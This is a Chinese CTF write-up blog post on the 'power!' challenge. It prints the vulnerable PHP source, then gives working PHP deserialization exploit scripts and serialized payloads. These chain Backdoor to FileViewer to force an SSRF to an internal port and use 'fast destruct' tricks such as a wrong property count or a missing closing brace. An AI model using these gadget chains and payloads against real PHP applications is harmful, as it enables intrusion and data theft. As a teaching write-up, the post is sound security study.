首页 > 其他分享 >从power!初识fast destruct

从power!初识fast destruct

时间:2022-11-06 12:24:24浏览次数:66  
标签:power fast flag destruct path curl 序列化 local FileViewer

  学CTF也有一段日子了,很少记录自己的学习历程,再看之前做过的题目也有些一知半解,遂想到用blog记录下来用以反思

power!

——https://www.ctfer.vip/contest/52/ NSS_SWPU复现

题目环境点进去是这样的
image

  由题目提示查看源码
image

源码
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Image Viewer ~ @V@</title>
</head>
<body>
    <h1>This is a Image viewer</h1>
    <form action="/" method="get">
        <input type="text" placeholder="vergil.jpg" name="image_path">
        <button type="submit">submit</button>
    </form>
<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?>
</body>
<!-- ?source= -->
</html> 

提示flag在flag.php,于是在框内输入flag.php访问,在源码中会发现这玩意儿。
image
base64解码发现
image
  直接访问该地址是得不到flag的。看源码,恰好我们有两个类可以利用:FileViewer和backdoor。其中FileViewer的loadfile方法提供了curl,容易想到SSRF。但FileViewer的__wakeup方法使得local属性一进行反序列化就重置为"http://127.0.0.1/"。
  因为php版本较高无法通过改属性数量绕过__wakeup,但是backdoor为我们提供了改变属性的方法goodman。且destruct中调用c可以触发FileViewer中的__call方法,于是我们的思路连起来了。

Backdoor::destruct–>FileViewer::call–>FileViewer::loadfile

我们的exp如下

点击查看代码
<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "http://127.0.0.1:65500";

        public function __construct(){
            $this->a = new FileViewer;
            $this->b="local";
         } 
    }
    $a=new Backdoor();
    echo serialize($a);

?>

由于源代码在反序列化之前还包裹着base64_decode,所以要先base64编码再传入(我没看到被坑了……)
但是仅仅这样是不行的 因为此时我们封装的是Backdoor,在反序列化的下一行,
image
Backdoor并没有loadfile方法!直接传入我们的代码抛出异常而无法达到预期效果
image

我们的主角登场

Fast Destruct

  引用一位大佬的文章
image
  在这个题目中,反序列化得到的对象被赋给了$FV导致__destruct在程序结尾才被执行,从而无法绕过$FV->loadfile();代码中的报错,如果能够进行fast destruct,那么就可以提前触发_destruct,绕过反序列化报错。

  一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct,其中的几种方式如下:

原payload:

O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}

修改序列化数字元素个数

此处将backdoor后的3改为任意值

O:8:"Backdoor":4:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}

去掉序列化尾部 }

O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";

这两种payload在base64编码传入后都可获得flag
image

Another exp

  刚刚就是出题人的预期思路,但是我在一位大佬的题解中发现了另一种思路:

  对于$FV->loadfile();的另一种解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)

exp如下
点击查看代码
<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "http://127.0.0.1:65500";

        public function __construct(){
            $this->a = new FileViewer;
            $this->b="local";
         } 
    }
    $a=new Backdoor();
    $b=new FileViewer();
    $b->test = $a;
    echo base64_encode(serialize($b));
?>

  同样可以得到flag



  第一次写blog,如有错误,敬请指正。

参考链接:
https://zhuanlan.zhihu.com/p/405838002
http://www.hackdig.com/06/hack-389223.htm
https://exp10it.cn/2022/10/2022-swpu-nss-新生赛-web-writeup/#power

标签:power,fast,flag,destruct,path,curl,序列化,local,FileViewer
From: https://www.cnblogs.com/APPPQRS/p/16862351.html

相关文章

  • 第2-1-2章 传统方式安装FastDFS-附FastDFS常用命令
    目录3安装配置3.1安装GCC3.2安装libevent3.3安装libfastcommon3.4安装FastDFS3.5安装fastdfs-nginx-module3.5安装Nginx3.6配置FastDFSTracker3.5.1配置Tracker3......
  • self.init_pp_backend = PandaPowerBackend() TypeError: 'module' object is not cal
    (smaac)young@deeplp:~/mainspace/code/smaac-master$pythontest.py-n=5_run-s=0-c=5modelname: 5_run_0Traceback(mostrecentcalllast): File"test.py",......
  • 添加分类累计列(Power Query)
    问题:各产品有不同批次,为每个产品按批次计算累计销量的列。let源=Excel.CurrentWorkbook(){[Name="表1"]}[Content],分组的行=Table.Group(源,{"品名"},{......
  • 矩阵转一列(Power Query)
    问题:矩阵转一列先列后行:let源=Excel.CurrentWorkbook(){[Name="表1"]}[Content],转换=Table.FromList(List.Combine(Table.ToColumns(源))),重命名......
  • 学习笔记-PowerShell 笔记
    PowerShell笔记什么是PowerShellWindowsPowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用.NETFramework的强大功能.WindowsPowerS......
  • 第2-1-1章 FastDFS分布式文件服务背景及系统架构介绍
    目录1背景1.1为什么需要分布式文件服务1.1.1单机时代1.1.2独立文件服务器1.1.3分布式文件系统1.2什么是FastDFS2系统架构2.1Tracker集群2.2Storage集群2.3Storag......
  • PowerToys
    PowerToysgithub地址:https://github.com/microsoft/PowerToysPowerToys是微软开源的增强Windows使用效率的工具。一些感觉好用的功能:图片尺寸调整文件预览快捷键......
  • the fastest npm package installer All In One
    thefastestnpmpackageinstallerAllInOneTurboIncrementalbundlerandbuildsystemoptimizedforJavaScriptandTypeScript,writteninRust–includingT......
  • PowerApps Environment Types
    InPowerApps,therearefivetypesofenvironmentsthatyoucancreate,sointhissection,we’regonnalistthesePowerAppsenvironmentstypestoknowthec......
  • Fastjson反序列化(二)
    前言Fastjson1.2.24版本的远程代码执行漏洞可谓是开辟了近几年来Fastjson漏洞的纪元。在Fastjson1.2.24版本反序列化漏洞初次披露之后,官方针对这个漏洞进行了修补。然......